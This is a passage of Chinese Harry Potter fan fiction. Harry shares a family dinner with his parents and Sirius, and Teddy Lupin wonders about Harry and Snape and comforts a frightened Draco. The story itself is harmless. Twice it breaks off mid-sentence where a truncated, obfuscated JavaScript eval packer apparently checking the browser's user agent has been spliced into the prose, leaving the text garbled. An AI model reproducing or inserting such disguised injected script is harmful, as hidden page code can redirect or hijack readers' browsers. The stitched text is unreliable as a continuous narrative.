“为什么?”詹姆斯转头盯着他,眉头挑了起来,像是忽然从兴致高昂的讨论中回过神来,有些懊恼地说道:“等等,我差点忘了——你肯定是知道结果的!” 他这么一说,小天狼星也把目光转向了哈利。 “英格兰进不了决赛。”哈利低头啜了口酒,“94年那届是爱尔兰对保加利亚。” 两个魁地奇迷同时转头盯着他,表情像是他刚刚宣布魁地奇世界杯要被取消了一样。 “保加利亚?”小天狼星差点把酒喷出来,“他们什么时候变这么厉害了?上届世界杯他们甚至连十六强都没进!” 哈利本想含糊过去,不确定该不该透露未来比赛的结果,但面前两张好奇的脸让他彻底缴械投降:“他们有个叫威克多尔·克鲁姆的找球手,非常年轻,实力也很惊人。不过决赛时,保加利亚队落后一百六十分,他抓住了金色飞贼后仍然输了比赛。” “什么?”詹姆斯和小天狼星异口同声。 “他为什么要这么做?”小天狼星疑惑地皱眉,“这不是故意输掉比赛吗?” “也许是为了尊严吧,”哈利耸耸肩,“爱尔兰队整体实力实在太强了,再拖下去,分差只会越来越大。与其惨败,不如体面地结束。” “克鲁姆……”詹姆斯若有所思地念着这个名字,“没听说过。看来是这两年才冒出来的新星。他多大?” “十八岁。” “梅林啊!”小天狼星感叹,“十八岁就打进世界杯决赛?” “对,”哈利微微一笑,“他现在应该还在学校里呢。可惜他在2002年那届世界杯后就退役了。” 詹姆斯听得兴致勃勃,拉着哈利又问了半天比赛的细节。三人热烈地探讨起后面两届的世界杯,在魁地奇和红酒的作用下,气氛变得前所未有的融洽。酒杯一次次被斟满,笑声一阵阵响起。 或许是酒精的作用,又或许是这个温暖的氛围,哈利感觉整个人轻飘飘的。两个小时前,他还站在门口手足无措,不知道该和父母说些什么。而现在,他们像一个再普通不过的家庭一般,为了魁地奇争论不休。 “好了,你们这些魁地奇狂人,”莉莉笑着站起身,“聊了这么久,该尝尝甜点了。” 她端出南瓜馅饼时,整个餐厅都被香甜的气息包围了。馅饼表面烤成诱人的金黄色,还冒着热气。她切下最大的一块,放到哈利面前。 “尝尝看。”她的眼睛亮晶晶的,詹姆斯也放下酒杯,期待地注视着他。 “你妈妈的拿手绝活。”詹姆斯说,声音听起来比平时洪亮了一点。 哈利拿起叉子挖了一大口,温热的馅饼入口即化,南瓜的香甜混合着肉桂与豆蔻的味道,再配上酥脆的饼皮,每一口都像是被包裹在最温暖的拥抱里。 “太好吃了。”他真心实意地赞叹道,“这是我吃过最好吃的南瓜馅饼。” 听到哈利的赞美,莉莉脸上瞬间绽放出灿烂的笑容,就连詹姆斯,神情也柔和了不少。 哈利低头,又尝了几口。他曾在霍格沃兹吃过许多次南瓜馅饼,家养小精灵的手艺无可挑剔,但从没像现在这样,让他一口接一口停不下来。 也许这就是家的味道。 他很想把整块馅饼都吃完,不仅因为那味道确实美妙,更因为他不想让父母脸上那种期待的光芒消失。但问题是,他真的已经吃得太饱了。莉莉不断往他盘子里添的烤鸡、土豆泥和蔬菜早已塞满了他的胃,实在再也吃不下了。 哈利勉强又吃了两口,最后还是不得不放下叉子。 “吃不下了?”莉莉关切地问。 “抱歉,”哈利有些不好意思地说,“晚餐实在太丰盛了,我真的很饱了。” 莉莉脸上那份热切的光彩好像黯淡了一下。詹姆斯什么也没说,只是端起酒杯,把剩下的红酒一饮而尽。 “没关系。”莉莉很快恢复了笑容,轻轻拍了拍他的手,“下次可以早点端出来。小天狼星,你要不要——” “当然!”小天狼星伸手拿了一块,“你的南瓜馅饼一直是我的最爱!哦,可能仅次于牧羊人派!” 话题自然而然地又转开了,气氛重新变得轻松。哈利微微皱了皱眉,心底隐约闪过一丝疑惑。不过很快,这个念头就被莉莉的新提议打断了。 “我去拿点东西!”莉莉突然宣布,随即小跑着上了楼。 没过多久,她便抱着一本相册和一台看起来颇有年头的相机重新回到了餐厅。 “我想……”莉莉坐到哈利身边,将相册放在膝盖上。翻开相册,里面全是空白的页面,“我想把今晚记录下来。然后我们可以从现在开始,创造新的回忆。” 她把相册递给哈利,抬头望着他,满怀期待地轻声问道:“如果你愿意的话。” 哈利看着手里这本空白的相册,指尖轻轻摩挲着坚硬的封面,感觉鼻腔深处传来一阵无法忽视的酸楚。这并不是为了抹去过去,也不是要假装一切从未发生过,而是要为这个家庭添上新的一页,为他这个从未来回来的儿子。 他不由想起了海格曾经送给他的那本旧相册。里面满是父母和朋友们的笑脸,他那时只能站在外面,隔着泛黄的相纸去想象那些美好的过往。现在,摆在他面前的是一本崭新而空白的相册,邀请着他加入其中。他终于不再只是远远旁观,而是能够站在父母身边,成为回忆的一部分。 哈利沉默了一会儿,忍不住抬手迅速抹了一下眼角。 “我很愿意。”他说。 莉莉眨了眨泛红的眼眶,硬是将那层水光压了下去。 “太好了!”小天狼星跳起来,“历史性时刻!波特家的全家福!” “你来掌镜?”詹姆斯问。 “开什么玩笑?”小天狼星一脸被冒犯的表情,“我当然要入镜!我可是哈利的教父!这个家的重要成员!” “好了好了,”莉莉笑着打断他们,“都到沙发那边去吧。” 众人起身走向客厅的沙发。哈利跟在后面,走近壁炉时,脚步微微一顿。他的目光越过詹姆斯的肩膀,落在了对面的壁炉架上。那个他送来的音乐盒,不知何时已被郑重地摆放在了最显眼的位置,紧挨着妹妹黛西的相框。而在另一边的窗台上,那盆银辉百合也找到了自己的位置,在灯光下泛着柔和的光晕。 “哈利抱着黛西站中间。”莉莉开始指挥。 哈利动作轻柔地从詹姆斯手里接过半睡半醒的妹妹。小家伙的重量落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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相机上的红色指示灯开始闪烁。这一次,镜头里只有波特家的四个人。詹姆斯的手臂更用力地搂住了哈利,莉莉也向哈利身边靠得更近,哈利则将怀里的黛西托高了一点。 快门声再一次响起,将这张迟来许久的全家福永远定格。 —————— 拍完照后,黛西彻底睡熟了。莉莉轻手轻脚地从哈利怀里接过她。 “时间不早了。”她瞥了眼挂钟,已经将近十点,“哈利,今晚留下来吧?我们给你收拾了一间房,就在二楼……” 哈利心头一暖,但一想到地窖里等待着的人,想到他们之间的那个约定,他犹豫了一下。 “我……”他迟疑着,语气中带着歉意,“其实我答应了一位朋友,今晚一定会回去……我们约好了。”看到莉莉失望的表情,他又赶紧补上一句,“不过,我明天可以再过来的,反正假期还没结束……” “如果你们不嫌我烦的话。”他急急忙忙地补充道。 “不,怎么会!”莉莉的脸色重新明亮起来,“那就说定了,明天午饭?” “说定了。”哈利认真地承诺。 莉莉抱着黛西转头朝厨房走去,边走边说道:“我去给你准备点南瓜馅饼带走,夜里可能会饿。” 詹姆斯站起来:“我去帮你拿飞路粉。” 等詹姆斯的身影消失在楼梯拐角,小天狼星突然伸出手臂,一把勾住哈利的脖子,将他拉到一旁。 “听着,哈利。”他的笑容褪去,眉头皱了起来,声音压得极低,“有件事我必须提醒你。” “小天狼星?” “闭嘴听我说,”他手臂收紧了一些,“是关于斯内普的事——” 哈利咽了口唾沫。 “那个家伙最近有点不对劲。他对你的态度太……怎么说呢,太关注了。这不正常,哈利,非常不正常。” 哈利感觉脸颊开始发热,不知道是因为尴尬还是别的什么。他躲开教父的视线,含糊地说:“我们只是同事……” “同事?”小天狼星发出一声嗤笑,“那种眼神可不是看同事的。” “什么眼神?”哈利下意识反问了一句,话出口便立刻后悔了。 小天狼星压低声音,严肃地说:“我了解他,哈利。斯内普绝不会无缘无故地对谁好。他总是带着目的,总是在算计些什么。” “也许他不是这样的……”哈利试图挣脱小天狼星的手臂,为斯内普辩解了一句。 小天狼星不为所动,“别太信任他。那家伙最擅长伪装。别被他骗了,记住我的话,离他远点!” 哈利还想再说些什么,但莉莉的声音已经从厨房方向传了过来:“小天狼星,你在干什么?” 小天狼星瞬间松开手,脸上换上一副无辜的表情:“没什么,只是叮嘱哈利路上小心点。” 莉莉狐疑地看看他们,但没有追问。她走过来,将一个用羊皮纸包好的盒子递给哈利:“南瓜馅饼,还有一些饼干。” 詹姆斯也下楼回来了,手中提着装飞路粉的小袋子。 哈利走到壁炉前,从詹姆斯手中接过飞路粉。莉莉上前帮他理了理衣领,又在他额上轻轻吻了一下。 “明天见,哈利。” “明天见。” 詹姆斯站在一旁,神色略显局促。最后,他还是向前迈了一步,给了哈利一个沉默而用力的拥抱。 哈利闭上眼睛,用同样的力度抱住了父亲。 拥抱结束后,詹姆斯没有再说什么,只是拍了拍哈利的肩膀,转头擦了一下眼睛:“早点休息。” 哈利点点头,转身朝壁炉走去。绿色的火焰升起时,他回头看了最后一眼。他的家人们也都在看着他。詹姆斯和莉莉并肩站着,莉莉抱着睡熟的黛西,詹姆斯的手搂着她的肩膀。小天狼星站在他们身边,微笑着朝他挥手。 哈利凝视着这幅温暖而完整的画面,将它牢牢刻进脑海中。他终于鼓起勇气,说出了那个一直徘徊在唇边,却从未真正说出口的称呼: “晚安,爸爸,妈妈。”他说,“晚安,小天狼星。” 在绿色火焰将他彻底吞没前,他只来得及看到父母眼中的震惊,和夺眶而出的眼泪。 117. 泰迪的疑惑(上) 复活节假期结束已经快一周了。新的学期一开始,考试季的阴影便笼罩在整个城堡上空。教授们毫不手软地布置了一大堆作业,午餐时的礼堂里到处都是埋头苦读的学生:五年级的忙着背O.W.L.s考点,七年级的匆匆忙忙地整理N.E.W.T.s的论文提纲。就连平时闹腾的韦斯莱双胞胎似乎也老实了不少,尽管泰迪还是眼尖地发现乔治正悄悄往李·乔丹的南瓜汁里滴进什么奇怪的东西。 “我的手已经写到抽筋了,”罗恩把脑袋往桌上一搁,绝望地戳着盘子里的香肠,“麦格教授是想让我们把羽毛笔都吞下去吗?‘动物变无生命物体的原则、挑战与应用’,要写整整两张羊皮纸!我连半张都凑不出来!” “别抱怨了。”赫敏边翻着笔记边快速吃着午餐,“如果你上课认真一点,就该知道这个话题包含甘普基本变形定律和修复变形咒的实际应用,起码能列举三个以上的具体案例。” “知道是一回事,写出来又是另一回事。”罗恩抬起头,乱糟糟的红发像个鸟窝,“弗立维教授更过分,他居然要我们分析五种盾形咒的变体——五种!谁会需要那么多盾形咒啊?” “比如需要参加决斗的人。”赫敏放下羽毛笔,无奈地揉着太阳穴。 一听到“决斗”二字,罗恩立刻来了精神,“对了,这周六下午高年级有决斗比赛,听说会很精彩。珀西说他要忙着准备N.E.W.T.s,没空去凑热闹。”他翻了个大大的白眼,“他才六年级,离考试还有整整一年呢!肯定是怕第一轮就被淘汰了吧?” “就算是那样,那是高年级的比赛,和你有什么关系?”赫敏挑起眉头。 “我们可以去观摩学习啊!”罗恩振振有词,“听说塞德里克·迪戈里也会参加,他才四年级就被弗立维教授特批加入决斗协会了!训练场现在对所有年级开放,我得抓紧时间练习,等到了高年级——” 泰迪慢慢嚼着烤面包,有一搭没一搭地听着好友们的斗嘴。忽然,他感觉肩膀一沉,扭头一看,原来西比不知何时爬了上来。它敏捷地跳到桌子上,优雅地绕过果酱罐,感叹道:“啊,学术的折磨。让我怀念在陋居追赶地精的美好时光。” “你在我家比我过得还舒服呢!”罗恩瞪着它,“我妈对你比对我好太多了。明明知道你不用吃东西,每顿饭都要给你摆碟子,还问你要不要土豆泥。梅林啊,一个人偶怎么可能吃土豆泥?难道要塞进你的棉花肚子里吗?” “这就是你和你母亲的差距,”西比矜持地理了理自己的袍子,傲慢地回道,“莫丽显然比你更懂待客之道。” “待客?”罗恩撇嘴,“你都快成陋居的第八个孩子了!” “可惜你哥哥比尔显然不是这么想的,”西比轻蔑地瞥了他一眼,“请提醒他一下,让他把那双沾满古灵阁铜臭和埃及诅咒的手拿远点,别再动不动就想要碰一个拥有独立思想的魔法造物。” 赫敏忍不住插了一句:“我猜比尔只是出于专业好奇——” “好奇?”西比转向她,用那招牌的刻薄语气打断了她,“格兰杰小姐,如果有人想把你切开来研究你的大脑构造,你觉得那还只是‘专业好奇’吗?” 泰迪噗嗤一声笑了出来。从复活节前开始,西比就一直嚷嚷要体验“真正的巫师生活”,现在看来,它不仅成功体验到了,还差点把陋居闹翻了天。 罗恩和西比还在继续斗嘴,但泰迪已经没怎么在听了,心思不知不觉地飘去了别处。 他的视线不由自主地移向教工席。今天中午只有几个教授在用餐,麦格教授正低声和斯普劳特教授聊着什么,而斯内普孤零零地坐在一旁,盘里的食物几乎一点没动。他阴沉着脸,黑袍子垂下来,看上去就像一团化不开的影子。 哈利不在。 泰迪回想了一下,好像早饭时也只有西弗一个人坐在那里。虽然西弗看上去情绪不佳,但老实说,这也不算什么稀奇的事——他本来也很少露出真正高兴的样子。 假期结束后这几天,佩弗利尔教授和斯内普教授的各种传闻迅速占据了整个学校,甚至比高年级决斗比赛的话题还要热门。各种版本的揣测不仅没有因假期结束而平息,反而愈演愈烈。 “他们每天早上都一起吃饭,关系好得太过分了!”——一些留校的学生信誓旦旦地说。 这有什么奇怪的?泰迪在心里反驳,我和罗恩、赫敏不也天天一起吃饭吗?好朋友不都这样吗? “我在对角巷亲眼看见他们约会,还买了一大堆东西!”——这是一个拉文克劳学生赌咒发誓的目击报告。 肯定只是西弗陪哈利买礼物而已!泰迪气鼓鼓地想,爸爸明明说过哈利终于和家人和好了。第一次买礼物当然会紧张,找西弗壮壮胆很正常。这些人怎么能胡乱猜测呢? 最离谱的是斯莱特林和格兰芬多的争执。“斯内普教授现在天天泡在佩弗利尔教授的办公室里批改作业!”“胡说,明明是佩弗利尔教授老往地窖跑!” 他觉得这些人真是闲得没事做。以前他去找一个,也经常能在那里碰见另一个,大家却从没觉得奇怪,现在怎么就大惊小怪起来了? 总而言之,这些传闻在他听来实在太荒唐。哈利和西弗关系本来就不错,他们一起守着一个重要的秘密,经常见面商量也是再正常不过的。 可这和恋爱有什么关系?他们不一直都是这样吗? “泰迪?”赫敏的声音将他的思绪拉回现实。她有些担心地望着他,“你怎么了?最近总感觉你心不在焉的。” “没什么。”泰迪赶紧摇摇头,把最后一点面包塞进嘴里。 赫敏又接着说,“你们发现了吗?最近城堡的防护好像变严了很多。昨晚我从图书馆回来,才迟了两分钟,胖夫人差点没让我进来。” 弗雷德从他们身后探了一个脑袋出来,笑嘻嘻地说,“费尔奇才是变本加厉。昨晚我和乔治就在走廊里多待了一会儿,他就像闻到血腥味的猎犬一样扑过来。幸好皮皮鬼突然冒出来捣蛋——” “你们确定只是多待了一会儿?”罗恩狐疑地盯着双胞胎哥哥们。 乔治无辜地摊开双手:“以前也没见过他这么夸张啊。” “可能是发生了什么事吧?”泰迪接口道,心里却隐隐觉得不太对劲。他本能地觉得这件事可能和伏地魔有关,但显然,这不是他能告诉罗恩和赫敏的秘密。上次凤凰社会议之后,虽然爸爸没有透露具体细节,但那凝重的气氛,还有爸爸临走时反复叮嘱他“有任何异常立刻去找哈利”,都像一块石头压在他的心上。 一想到爸爸,泰迪的胃又揪成了一团。莱姆斯·卢平,他的父亲现在应该已经到了约克郡。小天狼星提到过那里是个狼人聚落,虽然爸爸曾安慰过他,只是去见些“老朋友”,但…… 他不自觉地握紧了叉子。他才刚刚找回爸爸,如果出了什么意外……不,他使劲甩了甩头。爸爸答应过会平安回来的。他答应过暑假要教自己新的防御咒语,还要带他一起去看魁地奇联盟杯。 爸爸不会食言的。 “泰迪?”罗恩用手肘轻轻捅了他一下,“看,佩弗利尔教授来了。” 泰迪抬起头,正看到哈利走进礼堂。他看起来人有些疲惫,但神色依旧平静自然。在众人若有若无的注视中,他径直走向教工席,直接在斯内普身边的空位上坐了下来。 身后几个女生顿时压低声音兴奋地交头接耳起来: “看见了吗?我早就说过——” “每天都这样,也太明显了……” 罗恩也忍不住小声嘀咕:“你们瞧,他们又坐一起了。” “同事一起吃午餐本来就很正常吧。”赫敏虽然这么说,语气却也透出几分不确定。 泰迪眉头皱了起来,胸口忽然堵得难受。他盯着远处教工席上的两个人,哈利正往盘子里叉了些土豆,而斯内普似乎也终于想起面前还有一份午餐。他们没有特意交谈,甚至连个眼神都没交换过,可泰迪还是能清晰地感觉到他们之间有种别人插不进去的默契——哈利随手递出盐瓶时,斯内普的手正好伸了过来;斯内普拿起茶壶时,哈利的杯子也恰好挪到了合适的位置。 有什么东西在泰迪胸口轻轻颤动,使得他下意识地抬手按在那里。这种感觉很陌生,像雾一样一下子散了,却又留下一种说不清的困惑。 他低下头,小声地问不知道什么时候又爬到他肩膀上的西比:“西比,为什么大家都要这么大惊小怪?哈利和西弗……他们一直以来不就是这样吗?” 西比慢悠悠地睁开一只眼睛,拉长语调说道:“泰迪·卢平,你的观察力实在有待提高。” 泰迪困惑地又望了一眼教工席。哈利似乎说了什么话,让斯内普显得有些不高兴。他的眉头皱得比平时还深了些,但他仍然专注地倾听着,甚至身体稍稍朝哈利的方向倾斜过去了一些。 “西比,”他忍不住又小声问了一次,“你是说……他们之间真的有什么不对劲吗?” 西比这回两只眼睛都睁开了,用一种看傻子的眼神盯着他。 “如果你非要我解释的话,”它故作深沉地说,“或许只是春天到了吧,连老蝙蝠都难免受到季节的影响。” “这是什么意思?”泰迪更加迷糊了。 “意思是,”西比打了个长长的哈欠,“有些事情,等你长大了自然就懂了。现在,拜托你安静一会儿,让我好好消化一下在陋居学到的高级驱地精技巧,谢谢。” 它说完便闭上眼睛,一副谢绝再讨论的模样。 泰迪叹了口气。他忽然觉得,所有人都好像知道点什么,偏偏只有他自己被蒙在鼓里。胸口那种堵得慌的感觉更加明显了,让他心里烦闷,说不清是困惑还是有点委屈。 —————— 周四下午的第一节课是魔药课。泰迪跟在罗恩和赫敏身后,慢吞吞地朝地窖走去。 “我讨厌周四下午。”罗恩边走下楼梯边抱怨,“刚吃饱饭就要忍受那些古怪药水味,太倒胃口了。” 西比从泰迪的书包里爬出来,轻巧地跳到走廊窗台上,“我才不要去看斯内普上课。”它嫌弃地说道,“看他折磨学生有什么意思?我又不是受虐狂。” “城堡里比地窖有趣的地方多了去了。不用替我向那个老蝙蝠问好。”说完,它一眨眼便消失了踪影。 魔药教室里已经坐了不少学生,斯内普站在讲台前,正用魔杖在黑板上写着今天要制作的药剂配方。 “泰迪,这里!”赫敏朝他挥了挥手,示意他快点过来。 一坐下来,她便压低声音,目光时不时瞟向讲台:“你们有没有觉得……斯内普教授今天好像有点不一样?” “哪儿不一样了?”罗恩还在低头翻找他的课本,“还不是老样子,一脸想毒死人的表情,还有那身万年不变的黑袍。” 但泰迪也感觉到了。刚才在礼堂离得太远没看清,现在近距离观察,西弗今天的确有些不同,虽然他一时也说不清具体哪里不对。 “不,你们注意细节。”赫敏眼睛眯了起来,“看他的头发。” “头发?”罗恩也顺着赫敏的视线盯着讲台,“好像是……没以前那么油了?是不是因为假期没怎么熬魔药,所以头发变顺滑了?”他转向一旁的泰迪,“你觉得呢?” 泰迪也瞪大了眼睛。的确,斯内普的黑发虽然还是一样垂落在两边脸颊旁,但看起来干净柔顺了许多,没有之前那种黏在一起的感觉。 “还有,”赫敏把声音压得更低了,“看他袖口那里,是不是有什么亮晶晶的东西?” 斯内普的衣袖随着他挥动魔杖的动作轻轻扬起,袖扣处确实闪过一点细微的银光。 “是袖扣!”赫敏语气里充满不可思议,“他戴了银色的袖扣!我发誓,我从没见过他戴过任何饰品。” “袖扣?”罗恩试图找个合理的解释,“下一秒你要告诉我他开始用古龙水了吗?人总得偶尔换换风格吧。” 赫敏看他的眼神像在看一个没救的笨蛋:“罗恩,这可是斯内普教授。他连圣诞节都穿一模一样的黑袍子。” “可说不定他今天就是突然想打扮一下了呢?”罗恩还不服气,转头向泰迪求助,“你说是吧?” “啊?什么?”泰迪这才回过神来。 他的注意力完全被教室另一头吸引去了。德拉科一个人坐在角落里发呆,坩埚空空荡荡,连火都没点。而平时总像影子一样跟着他的高尔和克拉布却坐在了另一侧,和扎比尼他们挤在一起,不时投向德拉科一些奇怪的眼神。 德拉科看起来糟糕极了,整个人像被世界遗忘了一样孤零零的。泰迪心里泛起一阵担忧,很想过去问问德拉科到底出了什么事,但现在是上课时间,他根本没法随意离开座位。 “泰迪!”罗恩不满地戳了戳他,“难道你最近没发现斯内普容光焕发了吗?” “啊?可我最近根本没去过魔药办公室啊。”泰迪茫然地回了一句。 魔药教室里,逐渐有更多的学生注意到斯内普的“不一样”,低声议论声越来越多。斯内普似乎根本没察觉,依旧站在黑板前专心地写着配方。但也许是那些窃窃私语实在太吵了,他忽然转过身,冷冷地用目光扫了一圈。教室顿时鸦雀无声,只剩下坩埚里的药剂“咕嘟咕嘟”地冒泡。 “今天,”他的声音依然低沉,“我们要制作肿胀剂。打开你们的课本,第九十二页。” 学生们赶紧手忙脚乱地翻开书。 “韦斯莱,”斯内普冷不丁地点名,“告诉我,如果在第二步加入蝙蝠脾脏时搅拌方向错误,会发生什么?” 罗恩卡住了:“呃……会……会……”旁边的赫敏急得高高举起了手。 “会造成坩埚爆炸,并使药剂完全失效。”斯内普态度平和地说道,“记住这一点。现在开始制作。” 罗恩目瞪口呆地盯着斯内普,用口型对泰迪说:“他刚才是在……教我吗?” 接下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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浅黄色的药剂在坩埚里均匀地旋转着,颜色纯净,质地光滑,表面还浮起了细密的小气泡,这是肿胀剂的最佳状态。 “尚可接受,”斯内普淡淡地说,“格兰芬多加五分。” 泰迪眨了眨眼。“尚可接受”这个词从斯内普嘴里说出来,几乎等同于“完美”。 斯内普说完就转身离开,黑色长袍在他身后利落地扬起。 “又是斯内普的宠儿,”罗恩揶揄着,把泰迪拉到自己的坩埚前,“好兄弟,快帮我看看,这颜色怎么看都不对劲,赶紧救救我这锅灾难吧。” ——————— 下课铃响起时,同学们开始陆续收拾东西。泰迪故意磨蹭着不动,因为他注意到教室角落的德拉科还坐在原地,一动也不动地盯着空荡荡的坩埚,好像根本没听见铃声似的。而平时跟在他身后的高尔和克拉布早就急匆匆地出了教室。 “你们先走吧。”他对罗恩和赫敏说,“我有点事要跟德拉科谈谈。” 罗恩皱了皱眉:“和马尔福?你们有什么好谈的?” “呃,就是……关于魔药的事。”泰迪随口编了个理由。 赫敏看了一眼角落里的德拉科,拉了拉罗恩:“走吧,晚餐见。” 等教室里的人差不多都走光了,泰迪才背起书包朝德拉科的方向走去。 “德拉科?” 金发少年像是被惊醒一般抬起头。看清楚来人后,他的肩膀明显松弛下来一些。 “你还好吗?”泰迪小心地问,在他旁边的椅子上坐下。 德拉科看了他一眼,很快又低下头去。过了好一会儿,才用几乎听不清的声音回答:“不好。” 接着又陷入了长长的沉默。泰迪没有催促他,只是安静地坐在旁边,等他慢慢开口。 “复活节回家的时候,家里的气氛很古怪。母亲她……看我和父亲的眼神不太对劲,”德拉科又开口了,手指紧张地绞在一起,“你知道的,我父亲现在彻底疯了。可现在就连我母亲也变得很奇怪……” “有时候,我觉得她想对我们施咒。有好几次,我半夜醒来发现她就站在床边,手里拿着魔杖……” 泰迪听得倒吸一口凉气:“她对你做了什么吗?” “没有。”德拉科摇摇头,“她只是盯着我看,然后就离开了。可她看我的眼神,就像在看一个仇人……我真的不敢回家了,泰迪。我完全不知道发生了什么,只是感觉一切都变得不对劲了。” 泰迪犹豫了一下,轻轻地把手搭在德拉科肩上。 掌心碰触到德拉科时,他明显感到德拉科在颤抖。一丝寒意透过掌心传来,泰迪心口顿时闷得难受。德拉科身上涌出的恐惧又浓又沉,仿佛随时都会把人拖进黑暗中去。他想帮忙,又不知道能做些什么,只能跟着一起难受起来。 “高尔和克拉布他们……” “他们开始躲着我了,”德拉科苦笑了一下,“我听到他们在背后议论,说他们的父母警告他们离我远点。” “你觉得……”德拉科忽然紧紧抓住泰迪的袖子,眼里满是惊恐,“是不是‘他’真的回来了?” “别去想这些!”泰迪急忙打断他,“听我说,德拉科,不管发生什么,你都不要碰那些事。明白吗?” “可要是我母亲——” “尤其是你母亲让你做的事。”泰迪的语气变得非常严肃,“答应我,离那些黑暗的东西远一点。” 德拉科看着他,眼神充满了挣扎和茫然:“那我该怎么办?我不能回家,在学校里也……”他下意识地瞟了一眼高尔和克拉布刚才坐过的位置。 “如果你愿意的话,最近多跟我们在一起吧?”泰迪脑中有了一个主意,“我的意思是,和我、罗恩还有赫敏。” 德拉科怔住了:“韦斯莱?他不会——” “放心吧!”泰迪拍拍他的肩膀,“罗恩只是嘴硬一点,心肠很好的。赫敏更不用说了,她最喜欢帮助别人。相信我,好吗?” 德拉科的嘴唇微微动了动,好像还想再拒绝些什么。但泰迪只是真诚地望着他,等他自己做出决定。最终,德拉科轻轻地点了点头。 “谢谢你。”他低声说,露出了一个微弱的笑容。 泰迪正想再说些什么,教室的门被推开了。他们同时转头看过去,斯内普站在门口,不知已经看了多久。 那双漆黑的眼睛在他们之间扫了一圈,最后落在泰迪脸上。斯内普表情毫无波动,完全猜不出他到底听到了多少内容。 “卢平,马尔福。”斯内普冷淡地开口,“如果我没记错,魔药课早已结束。难道你们准备在这里开茶话会?” “抱歉,教授!”泰迪赶紧拉起德拉科,“我们这就走!” 走过斯内普身边时,泰迪听到魔药教授低沉的声音响了起来。 “卢平,第二节课后来一趟我的办公室。” 118. 泰迪的疑惑(下) 泰迪下午的第二节课是魔咒课。他在半路与德拉科道别,各自朝不同的教室走去。 一路上,泰迪满脑子都是德拉科的事,甚至连哈利和斯内普的那些流言也暂时忘到了一边。他得帮帮德拉科,也许能试着邀请他加入学习小组?赫敏肯定会支持,可罗恩呢?罗恩对斯莱特林的成见太深了……怎么才能说服他?再说德拉科的母亲——泰迪只是稍微想象了一下那个场景,就觉得背后一阵发凉。这件事会不会和伏地魔有关?也许该告诉哈利,让他出出主意。 德拉科的处境像块沉重的石块压在泰迪心头,以至于在接下来魔咒课的分组练习中,他也完全无法集中精神。 “专心点,泰迪!”赫敏在他第三次念错咒语后忍不住提醒,“是恩戈吉奥,不是恩戈奥!” “杯子,泰迪!”罗恩大吼,“不是纳威的蟾蜍!” 太迟了。可怜的莱福已经膨胀成一个大南瓜,在桌上滚来滚去,发出一阵阵惊恐的呱呱声。纳威在一旁眼泪汪汪:“莱福!别吓我!”他刚从医疗翼回来,脸上的脓包已经基本消退,只剩下些微的红肿。 泰迪慌张地挥动魔杖补救,然而莱福一点没变小,桌上的一本硬壳书反倒猛涨起来。 “泰迪!”罗恩失声惊叫。 那本书迅速膨胀,像个巨大的气球挤满了半张桌子,随后摇摇晃晃地飘了起来,像个醉醺醺的飞贼,径直冲向窗户—— 哐当! 玻璃碎了一地,膨胀的书消失在午后的阳光中。 弗立维教授从他的书堆后面探出头来:“卢平先生,请解释一下为什么你认为蟾蜍和书比杯子更适合练习膨胀咒?” “对不起,教授。”泰迪的脸顿时滚烫起来,“我……我走神了。” “很显然。”弗立维教授叹了口气,挥动魔杖让莱福恢复原样,又转向碎裂的窗户,“课后请留下来修复窗户。格兰芬多扣一分。” 泰迪沮丧得低下头。赫敏在他耳边小声说:“你刚刚魔杖方向完全错了,而且发音也不准确。” 这节课剩下的时间里,泰迪竭力不再去想德拉科,但那双带着恐惧的灰色眼睛却怎么也挥不去。 好不容易熬到下课,泰迪在弗立维教授指导下花了将近二十分钟才勉强修好了窗户。当他终于能离开时,才记起自己还得去魔药教室找斯内普。 “抱歉让你们久等了。”他气喘吁吁地跑向仍在走廊上等待的好友。 “没关系。”赫敏皱着眉头打量他,“你今天怎么了?一直心不在焉的。” “我……”泰迪犹豫了一下,“晚餐时再说吧,我有事得告诉你们。” “是关于德拉科·马尔福的吧?”赫敏一下就明白了。 泰迪点点头。“不过我现在得先去西弗那里,他之前让我课后去找他。” 罗恩用胳膊肘轻轻碰了碰泰迪的肩膀,朝他挤眉弄眼:“快去吧,斯内普又要给你开小灶了。” “我会尽快回来的,”泰迪勉强挤出一个笑容,朝他们挥挥手,“晚餐见。” —————— 走向地窖的途中,泰迪暂时把德拉科的事放到了一边,因为他想起一件被忽略很久的重要事情——他竟然还没有好好向西弗道一声谢谢,感谢他为爸爸准备的狼毒药剂。上次在睿瓦纳之塔时情况太匆忙,复活节后又不断被别的事情打断。 他一边走,一边盘算着开口时的措辞。但就在穿过一道长长的走廊,拐过一个弯时,前方隐约传来了哈利的声音。他好奇地往前探了探头,看见哈利正低头微笑,面前站着两个一年级女孩。其中一个是金妮·韦斯莱,另一个则是拉文克劳那个常常神情恍惚的卢娜·洛夫古德。 “……除你武器的要点……意念要非常集中……”哈利的声音断断续续地飘来。 距离有点远,泰迪只能勉强捕捉到几个字眼,但能看到金妮说话时眼睛闪闪发光的样子。 “……斯内普教授……经常一起……”她仰着头问了什么问题。 哈利挠了挠头发,一脸的尴尬:“……话题……呃……” 金妮却小声地欢呼了一句,笑着推了推旁边的卢娜,对着她说了些什么。 “……幸福的恋爱蜂……围绕着您……”卢娜那种飘忽的声音即使隔着距离也很有辨识度,惹得金妮咯咯直笑。 泰迪尴尬地缩回头,犹豫着是不是要换一条路。可他刚转身,余光便捕捉到另一道黑色身影。 斯内普不知什么时候出现在走廊的另一端,半个身体隐没在阴影里,目光远远落在哈利与女孩们身上。虽然隔得很远看不清他的神情,但那种沉默而专注的姿态却莫名让人感到压抑。 泰迪僵在原地,顿时进退两难。往前走会打扰哈利和学生的交谈;往后退,又会直接撞上西弗。他甚至开始幻想,要是自己的易容马格斯能力再强一些就好了——变成一只飞虫,直接逃离这里。 